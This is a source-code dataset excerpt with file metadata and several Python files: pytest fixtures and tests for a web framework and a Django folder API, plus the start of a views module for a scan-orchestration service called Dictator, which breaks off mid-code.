| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b383dbf6bd180ad3ad98a20b1b1bbe5473eb30b4
| 138
|
py
|
Python
|
tests/unit/metadata_normaliser/cli/conftest.py
|
meaningfy-ws/ted-xml-2-rdf
|
ac26a19f3761b7cf79d79a46be6323b658f067eb
|
[
"Apache-2.0"
] | 1
|
2022-03-21T12:32:52.000Z
|
2022-03-21T12:32:52.000Z
|
tests/unit/metadata_normaliser/cli/conftest.py
|
meaningfy-ws/ted-xml-2-rdf
|
ac26a19f3761b7cf79d79a46be6323b658f067eb
|
[
"Apache-2.0"
] | 24
|
2022-02-10T10:43:56.000Z
|
2022-03-29T12:36:21.000Z
|
tests/unit/metadata_normaliser/cli/conftest.py
|
meaningfy-ws/ted-sws
|
d1e351eacb2900f84ec7edc457e49d8202fbaff5
|
[
"Apache-2.0"
] | null | null | null |
import pytest
from tests import TEST_DATA_PATH
@pytest.fixture
def queries_folder_path():
return TEST_DATA_PATH / "sparql_queries"
| 15.333333
| 44
| 0.797101
| 20
| 138
| 5.15
| 0.65
| 0.15534
| 0.23301
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.144928
| 138
| 8
| 45
| 17.25
| 0.872881
| 0
| 0
| 0
| 0
| 0
| 0.101449
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.4
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
b3caf1cc5ac1b3f9bd44d60161c6e4b9adbf3f76
| 1,264
|
py
|
Python
|
tests/test_response_model_invalid.py
|
broHeryk/squall
|
47c844d45548ed62745ee8385d6e6bda9e8269ad
|
[
"MIT"
] | 27
|
2021-12-04T15:54:59.000Z
|
2022-02-19T15:37:35.000Z
|
tests/test_response_model_invalid.py
|
broHeryk/squall
|
47c844d45548ed62745ee8385d6e6bda9e8269ad
|
[
"MIT"
] | 21
|
2021-12-04T21:17:54.000Z
|
2022-01-30T23:45:43.000Z
|
tests/test_response_model_invalid.py
|
broHeryk/squall
|
47c844d45548ed62745ee8385d6e6bda9e8269ad
|
[
"MIT"
] | 2
|
2021-12-29T10:53:59.000Z
|
2022-01-12T05:01:02.000Z
|
from typing import List
import pytest
from apischema import Unsupported
from squall import Squall
class NonPydanticModel:
pass
# from apischema.schemas import
def test_invalid_response_model_raises():
with pytest.raises(Unsupported):
app = Squall()
@app.get("/", response_model=NonPydanticModel)
def read_root():
pass # pragma: nocover
def test_invalid_response_model_sub_type_raises():
with pytest.raises(Unsupported):
app = Squall()
@app.get("/", response_model=List[NonPydanticModel])
def read_root():
pass # pragma: nocover
@pytest.mark.skip("Implement additional responses validation")
def test_invalid_response_model_in_responses_raises():
with pytest.raises(Unsupported):
app = Squall()
@app.get("/", responses={"500": {"model": NonPydanticModel}})
def read_root():
pass # pragma: nocover
@pytest.mark.skip("Implement additional responses validation")
def test_invalid_response_model_sub_type_in_responses_raises():
with pytest.raises(Unsupported):
app = Squall()
@app.get("/", responses={"500": {"model": List[NonPydanticModel]}})
def read_root():
pass # pragma: nocover
| 24.784314
| 75
| 0.671677
| 139
| 1,264
| 5.892086
| 0.251799
| 0.095238
| 0.068376
| 0.107448
| 0.835165
| 0.802198
| 0.802198
| 0.752137
| 0.698413
| 0.634921
| 0
| 0.006085
| 0.219937
| 1,264
| 50
| 76
| 25.28
| 0.824544
| 0.073576
| 0
| 0.59375
| 0
| 0
| 0.087554
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0.15625
| 0.125
| 0
| 0.40625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| null | 0
| 0
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|
0
| 7
|
b3e93ba97cbea51bc9ef571684770068c72421ec
| 22,722
|
py
|
Python
|
marknote/tests/test_folder.py
|
sheldonkwoodward/marknote
|
d752f86b5b29416e77d38ec31090841d6119a750
|
[
"MIT"
] | 5
|
2018-09-07T02:14:19.000Z
|
2018-11-13T16:37:22.000Z
|
marknote/tests/test_folder.py
|
sheldonkwoodward/marknote
|
d752f86b5b29416e77d38ec31090841d6119a750
|
[
"MIT"
] | 2
|
2020-02-11T23:19:58.000Z
|
2020-06-05T18:53:11.000Z
|
marknote/tests/test_folder.py
|
sheldonkwoodward/marknote
|
d752f86b5b29416e77d38ec31090841d6119a750
|
[
"MIT"
] | 1
|
2018-09-07T14:48:04.000Z
|
2018-09-07T14:48:04.000Z
|
from django.contrib.auth.models import Permission, User
from rest_framework import status
from rest_framework.reverse import reverse
from rest_framework.test import APITestCase, APIClient
import json
from marknote.models import Folder
class TestFolderLCPost(APITestCase):
"""
Test cases for POST requests on NoteListCreateView.
"""
def setUp(self):
# create test user
self.username = 'test'
self.password = 'test'
self.user = User.objects.create_user(username=self.username, password=self.password)
# permissions
self.user.user_permissions.add(Permission.objects.get(codename='add_folder'))
# log in test client
self.client.login(username=self.username, password=self.password)
# view name
self.view_name = 'marknote:folder-list-create'
def test_folder_create(self):
"""
Tests that a folder was properly created.
"""
# create folder
body = {
'title': 'title',
}
response = self.client.post(reverse(self.view_name), body)
response_body = json.loads(response.content.decode('utf-8'))
folder = Folder.objects.first()
# test database
self.assertEqual(body['title'], folder.title)
self.assertEqual(self.user, folder.owner)
# test response
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response_body['pk'], folder.id)
self.assertEqual(response_body['title'], body['title'])
self.assertEqual(response_body['container'], None)
self.assertEqual(response_body['created'], folder.created.strftime('%Y-%m-%dT%H:%M:%S.%fZ'))
self.assertEqual(response_body['updated'], folder.updated.strftime('%Y-%m-%dT%H:%M:%S.%fZ'))
def test_folder_create_in_folder(self):
"""
Tests that a folder in a folder was properly created.
"""
# create container folder
top_folder = Folder(title='top', owner=self.user)
top_folder.save()
# create another folder
body = {
'title': 'title',
'container': top_folder.id,
}
bottom_response = self.client.post(reverse(self.view_name), body)
bottom_response_body = json.loads(bottom_response.content.decode('utf-8'))
bottom_folder = Folder.objects.get(title=body['title'])
# test database
self.assertEqual(bottom_folder.container.id, body['container'])
self.assertEqual(bottom_folder.container, top_folder)
# test folder_response
self.assertEqual(bottom_response.status_code, status.HTTP_201_CREATED)
self.assertEqual(bottom_response_body['container'], top_folder.id)
def test_folder_create_no_title(self):
"""
Tests that a folder is not created without a title.
"""
# create folder
body = {}
response = self.client.post(reverse(self.view_name), body)
folders = Folder.objects.all()
# test database
self.assertEqual(len(folders), 0)
# test response
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_folder_create_not_authenticated(self):
"""
Tests that a folder is not created when the user is not authenticated.
"""
# create unauthenticated client
client = APIClient()
# create folder
body = {
'title': 'title',
}
response = client.post(reverse(self.view_name), body)
response_body = json.loads(response.content.decode('utf-8'))
folders = Folder.objects.all()
# test database
self.assertEqual(len(folders), 0)
# test response
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
self.assertFalse('pk' in response_body)
def test_folder_create_not_authorized(self):
"""
Tests that a folder is not created when when the user is authenticated but not authorized.
"""
# create unauthorized user
username = 'unauthorized'
password = 'unauthorized'
User.objects.create_user(username=username, password=password)
client = APIClient()
client.login(username=username, password=password)
# create folder
body = {
'title': 'title',
}
response = client.post(reverse(self.view_name), body)
folders = Folder.objects.all()
# test database
self.assertEqual(len(folders), 0)
# test response
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
class TestFolderLCGet(APITestCase):
"""
Test cases for GET requests on NoteListCreateView.
"""
def setUp(self):
# create test user
self.username = 'test'
self.password = 'test'
self.user = User.objects.create_user(username=self.username, password=self.password)
# log in test client
self.client.login(username=self.username, password=self.password)
# view name
self.view_name = 'marknote:folder-list-create'
def test_folder_retrieve_none(self):
"""
Tests that no folders are retrieved when none exist.
"""
response = self.client.get(reverse(self.view_name))
response_body = json.loads(response.content.decode('utf-8'))
empty_body = {
'folders': [],
}
# test response
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response_body, empty_body)
def test_folder_retrieve_multiple(self):
"""
Tests that multiple folders are retrieved when they exist.
"""
# create folders
Folder(title='title1', owner=self.user).save()
Folder(title='title2', owner=self.user).save()
# request
response = self.client.get(reverse(self.view_name))
response_body = json.loads(response.content.decode('utf-8'))
# test response
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(len(response_body['folders']), 2)
for db_folder, response_folder in zip(Folder.objects.all(), response_body['folders']):
self.assertEqual(response_folder['pk'], db_folder.id)
self.assertEqual(response_folder['title'], db_folder.title)
self.assertEqual(response_folder['container'], db_folder.container_id)
self.assertEqual(response_folder['created'], db_folder.created.strftime('%Y-%m-%dT%H:%M:%S.%fZ'))
self.assertEqual(response_folder['updated'], db_folder.updated.strftime('%Y-%m-%dT%H:%M:%S.%fZ'))
def test_folder_filter_title(self):
"""
Tests that folders are filtered appropriately by their title.
"""
# create folders
Folder(title='ab', owner=self.user).save()
folder_0 = Folder(title='bc', owner=self.user)
folder_1 = Folder(title='cd', owner=self.user)
folder_0.save()
folder_1.save()
# request
response = self.client.get(reverse(self.view_name) + '?title=c')
response_body = json.loads(response.content.decode('utf-8'))
# test response
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(len(response_body['folders']), 2)
self.assertEqual(response_body['folders'][0]['pk'], folder_0.id)
self.assertEqual(response_body['folders'][1]['pk'], folder_1.id)
def test_folder_retrieve_owned(self):
"""
Tests that only folders that are owned are retrieved.
"""
# create folders
folder = Folder(title='title', owner=self.user)
folder.save()
Folder(title='title', owner=User.objects.create_user(username='other_user')).save()
# request
response = self.client.get(reverse(self.view_name))
response_body = json.loads(response.content.decode('utf-8'))
# test response
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(len(response_body['folders']), 1)
self.assertEqual(response_body['folders'][0]['pk'], folder.id)
def test_folder_retrieve_not_authenticated(self):
"""
Tests that a folder is not created when the user is not authenticated.
"""
# create unauthenticated client
client = APIClient()
# request
response = client.get(reverse(self.view_name))
response_body = json.loads(response.content.decode('utf-8'))
# test response
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
self.assertFalse('folders' in response_body)
class TestFolderRUDGet(APITestCase):
"""
Test cases for GET requests on NoteRetrieveUpdateDestroyView.
"""
def setUp(self):
# create test user
self.username = 'test'
self.password = 'test'
self.user = User.objects.create_user(username=self.username, password=self.password)
# log in test client
self.client.login(username=self.username, password=self.password)
# view name
self.view_name = 'marknote:folder-retrieve-update-destroy'
def test_folder_retrieve(self):
"""
Tests that the proper folder is retrieved.
"""
# create folders
folder = Folder(title='title1', owner=self.user)
folder.save()
Folder(title='title2', owner=self.user).save()
# request
response = self.client.get(reverse(self.view_name, args=[folder.id]))
response_body = json.loads(response.content.decode('utf-8'))
# test response
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response_body['pk'], folder.id)
self.assertEqual(response_body['title'], folder.title)
self.assertEqual(response_body['container'], None)
self.assertEqual(response_body['created'], folder.created.strftime('%Y-%m-%dT%H:%M:%S.%fZ'))
self.assertEqual(response_body['updated'], folder.updated.strftime('%Y-%m-%dT%H:%M:%S.%fZ'))
def test_folder_does_not_exist(self):
"""
Tests that no folder is retrieved if the id specified does not exist.
"""
# create folder
folder = Folder(title='title1', owner=self.user)
folder.save()
# request
response = self.client.get(reverse(self.view_name, args=['2']))
# test response
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
def test_folder_retrieve_not_owned(self):
"""
Tests that folders that are not owned are not retrieved.
"""
# create folders
folder = Folder(title='title', owner=User.objects.create_user(username='other_user'))
folder.save()
# request
response = self.client.get(reverse(self.view_name, args=[folder.id]))
# test response
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
def test_folder_retrieve_not_authenticated(self):
"""
Tests that a folder is not retrieved when the user is not authenticated.
"""
# create unauthenticated client
client = APIClient()
# create folders
folder = Folder(title='title', owner=self.user)
folder.save()
# request
response = client.get(reverse(self.view_name, args=[folder.id]))
response_body = json.loads(response.content.decode('utf-8'))
# test response
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
self.assertFalse('pk' in response_body)
class TestFolderRUDPutPatch(APITestCase):
"""
Test cases for PUT requests on NoteRetrieveUpdateDestroyView.
"""
def setUp(self):
# create test user
self.username = 'test'
self.password = 'test'
self.user = User.objects.create_user(username=self.username, password=self.password)
# permissions
self.user.user_permissions.add(Permission.objects.get(codename='change_folder'))
# log in test client
self.client.login(username=self.username, password=self.password)
# view name
self.view_name = 'marknote:folder-retrieve-update-destroy'
def test_folder_update_full(self):
"""
Tests that a full folder update executes properly.
"""
# create folder and folder
top_folder = Folder(title='title', owner=self.user)
top_folder.save()
bottom_folder = Folder(title='title', owner=self.user)
bottom_folder.save()
# request
body = {
'title': 'title changed',
'container': top_folder.id,
}
response = self.client.put(reverse(self.view_name, args=[bottom_folder.id]), body)
response_body = json.loads(response.content.decode('utf-8'))
# test database
folder = Folder.objects.get(id=bottom_folder.id)
self.assertEqual(body['title'], folder.title)
self.assertEqual(top_folder, folder.container)
# test response
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response_body['title'], body['title'])
self.assertEqual(response_body['container'], top_folder.id)
def test_folder_update_partial(self):
"""
Tests that a partial folder update executes properly.
"""
# create folder
original_title = 'title'
folder = Folder(title=original_title, owner=self.user)
folder.save()
# request
body = {
'title': 'title changed',
}
response = self.client.patch(reverse(self.view_name, args=[folder.id]), body)
response_body = json.loads(response.content.decode('utf-8'))
# test database
folder = Folder.objects.first()
self.assertEqual(body['title'], folder.title)
self.assertEqual(None, folder.container)
# test response
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response_body['title'], body['title'])
self.assertEqual(response_body['container'], None)
def test_folder_update_container_does_not_exist(self):
"""
Tests that a folder cannot be updated with a non-existent container.
"""
# create folder and folder
original_title = 'title'
folder = Folder(title=original_title, owner=self.user)
folder.save()
# request
body = {
'container': '2',
}
response = self.client.patch(reverse(self.view_name, args=[folder.id]), body)
response_body = json.loads(response.content.decode('utf-8'))
# test database
folder = Folder.objects.first()
self.assertEqual(original_title, folder.title)
self.assertEqual(None, folder.container)
# test response
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertFalse('pk' in response_body)
def test_folder_update_read_only_fields(self):
"""
Tests that read only fields cannot be updated.
"""
# create folder
original_folder = Folder(title='title', owner=self.user)
original_folder.save()
# request
body = {
'pk': '2',
'created': '2018-09-04T16:30:28.469865Z',
'updated': '2018-09-04T16:30:28.469865Z',
}
response = self.client.patch(reverse(self.view_name, args=[original_folder.id]), body)
response_body = json.loads(response.content.decode('utf-8'))
# test database
folder = Folder.objects.first()
self.assertEqual(original_folder, folder)
# test response
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertNotEqual(response_body['pk'], body['pk'])
self.assertNotEqual(response_body['created'], body['created'])
self.assertNotEqual(response_body['updated'], body['updated'])
def test_folder_update_not_owned(self):
"""
Tests that folders that are folder owned are not updated.
"""
# create folder
original_title = 'title'
folder = Folder(title=original_title, owner=User.objects.create_user(username='other_user'))
folder.save()
# request
body = {
'title': 'title changed',
}
response = self.client.patch(reverse(self.view_name, args=[folder.id]), body)
response_body = json.loads(response.content.decode('utf-8'))
# test database
folder = Folder.objects.first()
self.assertEqual(original_title, folder.title)
self.assertEqual(None, folder.container)
# test response
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.assertFalse('pk' in response_body)
def test_folder_update_not_authenticated(self):
"""
Tests that a folder is not retrieved when a user is not authenticated.
"""
# create unauthenticated client
client = APIClient()
# create folder
original_title = 'title'
folder = Folder(title=original_title, owner=self.user)
folder.save()
# request
body = {
'title': 'title changed',
}
response = client.patch(reverse(self.view_name, args=[folder.id]), body)
response_body = json.loads(response.content.decode('utf-8'))
# test database
folder = Folder.objects.first()
self.assertEqual(original_title, folder.title)
self.assertEqual(None, folder.container)
# test response
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
self.assertFalse('pk' in response_body)
def test_folder_update_not_authorized(self):
"""
Tests that a folder is not retrieved when a user is not authorized.
"""
# create unauthorized user
username = 'unauthorized'
password = 'unauthorized'
User.objects.create_user(username=username, password=password)
client = APIClient()
client.login(username=username, password=password)
# create folder
original_title = 'title'
folder = Folder(title=original_title, owner=self.user)
folder.save()
# request
body = {
'title': 'title changed',
}
response = client.patch(reverse(self.view_name, args=[folder.id]), body)
response_body = json.loads(response.content.decode('utf-8'))
# test database
folder = Folder.objects.first()
self.assertEqual(original_title, folder.title)
self.assertEqual(None, folder.container)
# test response
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
self.assertFalse('pk' in response_body)
class TestFolderRUDDelete(APITestCase):
"""
Test cases for DELETE requests on NoteRetrieveUpdateDestroyView.
"""
def setUp(self):
# create test user
self.username = 'test'
self.password = 'test'
self.user = User.objects.create_user(username=self.username, password=self.password)
# permissions
self.user.user_permissions.add(Permission.objects.get(codename='delete_folder'))
# log in test client
self.client.login(username=self.username, password=self.password)
# view name
self.view_name = 'marknote:folder-retrieve-update-destroy'
def test_folder_destroy(self):
"""
Tests that a folder is properly destroyed.
"""
# create folder
folder = Folder(title='title', owner=self.user)
folder.save()
# request
response = self.client.delete(reverse(self.view_name, args=[folder.id]))
# test database
folders = Folder.objects.all()
self.assertEqual(len(folders), 0)
# test response
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
def test_folder_does_not_exist(self):
"""
Tests that destroying a non-existent folder does not affect other folders.
"""
# create folder
folder = Folder(title='title', owner=self.user)
folder.save()
# request
response = self.client.delete(reverse(self.view_name, args=['2']))
# test database
folders = Folder.objects.all()
self.assertEqual(len(folders), 1)
# test response
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
def test_folder_destroy_not_owned(self):
"""
Tests that folders that are not owned are not destroyed.
"""
# create folder
folder = Folder(title='title', owner=User.objects.create_user(username='other_user'))
folder.save()
# request
response = self.client.delete(reverse(self.view_name, args=[folder.id]))
# test database
folders = Folder.objects.all()
self.assertEqual(len(folders), 1)
# test response
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
def test_folder_destroy_not_authenticated(self):
"""
Tests that a folder is not destroyed when a user is not authenticated.
"""
# create unauthenticated client
client = APIClient()
# create folder
folder = Folder(title='title', owner=self.user)
folder.save()
# request
response = client.delete(reverse(self.view_name, args=[folder.id]))
# test database
folders = Folder.objects.all()
self.assertEqual(len(folders), 1)
# test response
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_folder_destroy_not_authorized(self):
"""
Tests that a folder is not destroyed when a user is not authorized.
"""
# create unauthorized user
username = 'unauthorized'
password = 'unauthorized'
User.objects.create_user(username=username, password=password)
client = APIClient()
client.login(username=username, password=password)
# create folder
folder = Folder(title='title', owner=self.user)
folder.save()
# request
response = client.delete(reverse(self.view_name, args=[folder.id]))
# test database
folders = Folder.objects.all()
self.assertEqual(len(folders), 1)
# test response
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
| 39.311419
| 109
| 0.635463
| 2,599
| 22,722
| 5.421316
| 0.065795
| 0.083038
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| 0.852803
| 0.820369
| 0.79638
| 0.782399
| 0.758765
| 0.721576
| 0
| 0.009649
| 0.251958
| 22,722
| 577
| 110
| 39.379549
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0
| 7
|
3737ecef26e9ea2c09b84624f5f162a7078223f6
| 47,788
|
py
|
Python
|
Dictator_service/views_.py
|
FurqanKhan1/Dictator
|
74e29c12a8f92292ab3275661622c0632cdd0a7b
|
[
"Unlicense"
] | 5
|
2019-03-14T10:17:22.000Z
|
2019-10-23T14:04:12.000Z
|
Dictator_service/views_.py
|
FurqanKhan1/Dictator
|
74e29c12a8f92292ab3275661622c0632cdd0a7b
|
[
"Unlicense"
] | null | null | null |
Dictator_service/views_.py
|
FurqanKhan1/Dictator
|
74e29c12a8f92292ab3275661622c0632cdd0a7b
|
[
"Unlicense"
] | 14
|
2019-03-14T10:34:02.000Z
|
2021-10-31T17:34:13.000Z
|
"""
@Author :Furqan Khan
@Email :furqankhan08@gmail.com
@Date :1/3/2017
Objective :
The purpose of this file /module /Class is to map to serve teh Rest request
Depending upon the requested url the views module will fetch the data from the backend
python files and would transform the data to json format ,and would finally return the data back to the
requesting application.
class SetCsrf(APIView):
Objective :
This class is only for test purpose and it forces the framework to generate a csrf token
with custom authentication
@method_decorator(ensure_csrf_cookie)
def get(self,request,format=None):
return Response(JSONRenderer().render({"helllo":"world"}))
class UserList(APIView):
Objective :
The code is only for testing purpose and has no utility with final draft of code
def get(self,request,format=None):
Employee_dict={}
Employee_list=[]
Employee_dict["id"]=1
Employee_dict["name"]="Furqan Khan"
Employee_list.append(Employee_dict)
Employee_dict={}
Employee_dict["id"]=2
Employee_dict["name"]="Burhan Khan"
Employee_list.append(Employee_dict)
serialize=UserSerializer(Employee_list,many=True)
return Response(JSONRenderer().render(serialize.data))
#return JSONResponse(serialize.data)
class StartScanConcurrent(APIView):
Objective :
The objective of this class is to serve the Post method which would take the scan attributes
and would invoke appropriate backend python files Gui_main_driver.py to start the scan as a process.
Note :This class would invoke the dicovery and vulnerability scanning in concurrent mode.
IN order to understand about input given to this method and response returned read API documentation.
#@csrf_exempt
def post(self,request,format=None):
print "Request HIt :"
#data_=JSONParser().parse(request)
scan_attributes=ScanAttributes(data=request.data)
#scan_attributes=ScanAttributes(data=data_)
return_response={}
if scan_attributes.is_valid():
#return Response(scan_attributes.data)
obj=Gui_main_driver.Gui_main()
scan_id=obj.main_start(scan_attributes.data["project_name"],scan_attributes.data["IP_range"],scan_attributes.data["Port_range"],scan_attributes.data["switch"],"1","init",scan_attributes.data["assessment_id"],scan_attributes.data["app_id"],True)
if scan_id !=-1:
return_response["status"]="success" #+str(scan_attributes.data["project_name"])
return_response["project_id"]=str(scan_id)
return_response["value"]=str(scan_id)
else:
return_response["status"]="failure" #+str(scan_attributes.data["project_name"])
return_response["project_id"]=str(scan_id)
return_response["value"]=str(scan_id)
return Response(JSONRenderer().render(return_response))
return_response["status"]="failure"
return_response["errors"]=scan_attributes.errors
return_response["value"]=scan_attributes.errors
#return Response(return_response)
return Response(JSONRenderer().render(return_response))
class StartScan(APIView):
#@csrf_exempt
Objective :
The objective of this class is to serve the Post method which would take the scan attributes
and would invoke appropriate backend python files Gui_main._driver.py to start the scan as a process
Note :This class will invoke the backend code in sequential mode
IN order to understand about input given to this method and response returned read API documentation.
def post(self,request,format=None):
print "Request HIt :"
#data_=JSONParser().parse(request)
scan_attributes=ScanAttributes(data=request.data)
#scan_attributes=ScanAttributes(data=data_)
return_response={}
if scan_attributes.is_valid():
#return Response(scan_attributes.data)
obj=Gui_main_driver.Gui_main()
scan_id=obj.main_start(scan_attributes.data["project_name"],scan_attributes.data["IP_range"],scan_attributes.data["Port_range"],scan_attributes.data["switch"],"1","init",scan_attributes.data["assessment_id"],scan_attributes.data["app_id"])
if scan_id != -1:
return_response["status"]="success" #+str(scan_attributes.data["project_name"])
return_response["project_id"]=str(scan_id)
return_response["value"]=str(scan_id)
else:
return_response["status"]="failure"
return_response["value"]="-1"
return Response(JSONRenderer().render(return_response))
return_response["status"]="failure"
return_response["errors"]=scan_attributes.errors
return_response["value"]=scan_attributes.errors
#return Response(return_response)
return Response(JSONRenderer().render(return_response))
def get(self,request,format=None):
Employee_dict={}
Employee_list=[]
Employee_dict["id"]=1
Employee_dict["name"]="Furqan Khan"
Employee_list.append(Employee_dict)
Employee_dict={}
Employee_dict["id"]=2
Employee_dict["name"]="Burhan Khan"
Employee_list.append(Employee_dict)
serialize=UserSerializer(Employee_list,many=True)
return Response(serialize.data)
class StopScan(APIView):
Objective :
The objective of this class is to serve the Post method which would take the scan/project id
and would invoke appropriate backend python files Gui_main_driver.py to stop the scan
In order to understand about input given to this method and response returned read API documentation.
#@csrf_exempt
@method_decorator(csrf_protect)
def post(self,request,format=None):
scan_attributes=General(data=request.data)
return_response={}
if scan_attributes.is_valid():
#return Response(scan_attributes.data)
obj=Gui_main_driver.Gui_main()
scan_id=obj.main_pause(scan_attributes.data["project_id"],scan_attributes.data["assessment_id"],scan_attributes.data["app_id"])
if scan_id !=0:
return_response["status"]="success" #+str(scan_attributes.data["project_name"])
else:
return_response["status"]="failure"
return_response["response_code"]=str(scan_id)
return_response["value"]=str(scan_id)
#return Response(JSONRenderer().render(return_response))
return Response(JSONRenderer().render(return_response))
return_response["status"]="failure"
return_response["errors"]=scan_attributes.errors
return_response["value"]=scan_attributes.errors
return Response(JSONRenderer().render(return_response))
class StopScanConc(APIView):
Objective :
The objective of this class is to serve the Post method which would take the scan/project id
and would invoke appropriate backend python files Gui_main_driver.py to stop the scan
Note :This class would serve the purpose of stopping concurrent scan.Thus actually it would pause
both the discovery as well as the vulnerability scanning phase.
In order to understand about input given to this method and response returned read API documentation.
#@csrf_exempt
def post(self,request,format=None):
try:
scan_attributes=General(data=request.data)
return_response={}
if scan_attributes.is_valid():
#return Response(scan_attributes.data)
obj=Gui_main_driver.Gui_main()
scan_id=obj.main_pause(scan_attributes.data["project_id"],scan_attributes.data["assessment_id"],scan_attributes.data["app_id"])
exp_id=obj.exploits_pause(scan_attributes.data["project_id"],True)
return_response["status"]="success" #+str(scan_attributes.data["project_name"])
return_response["response_code"]=str(scan_id)
#return Response(JSONRenderer().render(return_response))
return Response(JSONRenderer().render(return_response))
else:
return_response["status"]="failure"
return_response["errors"]=scan_attributes.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response["status"]="failure"
return_response["errors"]=str(ee)
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class ResumeScanConc(APIView):
Objective :
The objective of this class is to serve the Post method which would take the scan/project id
and would invoke appropriate backend python files Gui_main_driver.py to resume paused the scan
Note :This class would serve the purpose of resuming concurrent scan.Thus actually it would pause
both the discovery as well as the vulnerability scanning phase.
In order to understand about input given to this method and response returned read API documentation.
#@csrf_exempt
def post(self,request,format=None):
try:
scan_attributes=General(data=request.data)
return_response={}
if scan_attributes.is_valid():
#return Response(scan_attributes.data)
obj=Gui_main_driver.Gui_main()
scan_id=obj.main_resume(scan_attributes.data["project_id"],scan_attributes.data["assessment_id"],scan_attributes.data["app_id"],True)
return_response["status"]="success" #+str(scan_attributes.data["project_name"])
return_response["project_id"]=str(scan_id)
return_response["value"]=str(scan_id)
return Response(JSONRenderer().render(return_response))
else:
return_response["status"]="failure"
return_response["errors"]=scan_attributes.errors
return_response["value"]=scan_attributes.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response["status"]="failure"
return_response["errors"]=str(ee)
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class StopExploits(APIView):
Objective :
The objective of this class is to serve the Post method which would take the scan/project id
and would invoke appropriate backend python files Gui_main_driver.py to stop the vulnerability scan
In order to understand about input given to this method and response returned read API documentation.
#@csrf_exempt
def post(self,request,format=None):
try:
return_response={}
scan_attributes=General(data=request.data)
if scan_attributes.is_valid():
#return Response(scan_attributes.data)
try:
concurrent=request.data["concurrent"]
except Exception ,ex:
return_response["status"]="failure"
return_response["errors"]="Required Concurrent Field"
return_response["value"]="Required Concurrent Field"
return Response(JSONRenderer().render(return_response))
obj=Gui_main_driver.Gui_main()
scan_id=obj.exploits_pause(scan_attributes.data["project_id"],concurrent)
return_response["status"]="success" #+str(scan_attributes.data["project_name"])
return_response["response_code"]=str(scan_id)
return_response["value"]=str(scan_id)
return Response(JSONRenderer().render(return_response))
return_response["status"]="failure"
return_response["errors"]=scan_attributes.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response["status"]="failure"
return_response["errors"]=str(ee)
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class ResumeScan(APIView):
Objective :
The objective of this class is to serve the Post method which would take the scan/project id
and would invoke appropriate backend python files Gui_main_driver.py to resume the scan.
In order to understand about input given to this method and response returned read API documentation.
#@csrf_exempt
def post(self,request,format=None):
scan_attributes=General(data=request.data)
return_response={}
if scan_attributes.is_valid():
#return Response(scan_attributes.data)
obj=Gui_main_driver.Gui_main()
scan_id=obj.main_resume(scan_attributes.data["project_id"],scan_attributes.data["assessment_id"],scan_attributes.data["app_id"])
return_response["status"]="success" #+str(scan_attributes.data["project_name"])
return_response["project_id"]=str(scan_id)
return_response["value"]=str(scan_id)
return Response(JSONRenderer().render(return_response))
return_response["status"]="failure"
return_response["errors"]=scan_attributes.errors
return_response["value"]=scan_attributes.errors
return Response(JSONRenderer().render(return_response))
class ResumeExploits(APIView):
Objective :
The objective of this class is to serve the Post method which would take the scan/project id
and would invoke appropriate backend python files Gui_main_driver.py to resume the vul scan
In order to understand about input given to this method and response returned read API documentation.
#@csrf_exempt
def post(self,request,format=None):
try:
scan_attributes=General(data=request.data)
return_response={}
if scan_attributes.is_valid():
#return Response(scan_attributes.data)
obj=Gui_main_driver.Gui_main()
scan_id=obj.exploits_resume(scan_attributes.data["project_id"])
